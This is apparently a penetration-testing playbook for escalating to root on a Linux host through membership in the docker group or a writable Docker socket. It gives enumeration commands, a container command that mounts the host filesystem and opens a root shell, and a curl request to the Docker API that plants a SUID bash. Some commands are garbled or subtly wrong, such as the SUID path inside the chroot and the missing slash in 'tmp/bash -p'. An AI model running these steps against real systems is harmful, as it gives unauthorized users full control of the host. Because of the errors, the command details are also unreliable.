docker-daemon-privesc

Docker Daemon Privilege Escalation

When to Use

• During a Linux local privilege escalation phase.
• When you have a shell as a non-root user who is a member of the docker group.
• When you discover a writable Docker socket (e.g., /var/run/docker.sock) mounted inside a container or accessible on the host.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Enumeration

# Concept: Check if the current user is in the docker group or if the socket is writable. id
# Output: uid=1000(user) gid=1000(user) groups=1000(user),999(docker)

# Check socket permissions ls -l /var/run/docker.sock
# Output: srw-rw---- 1 root docker 0 Oct 26 10:00 /var/run/docker.sock

Phase 2: Exploitation via Docker CLI

If the docker command is available:

# docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# id
# Output: uid=0(root) gid=0(root) groups=0(root)

(Explanation: This mounts the host's root filesystem / into the container at /mnt and drops you into a shell inside the container but chrooted to the host's filesystem as root).

Phase 3: Exploitation via API (Curl)

If the docker CLI tool is not installed, but you can write to the socket:

# curl -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/bash && chmod +s /mnt/tmp/bash\""],"Binds":["/:/mnt"]}' --unix-socket /var/run/docker.sock http://localhost/containers/create

# Start the container curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/<CONTAINER_ID>/start

# Execute the SUID binary on the host tmp/bash -p

Decision Point 🔀

flowchart TD
    A[Enumerate Docker ] --> B{In Docker Group / Socket Access? ]}
    B -->|Yes| C[Is Docker CLI present? ]
    B -->|No| D[Check other PrivEsc vectors ]
    C -->|Yes| E[Run container mounting Host FS ]
    C -->|No| F[Curl Docker API ]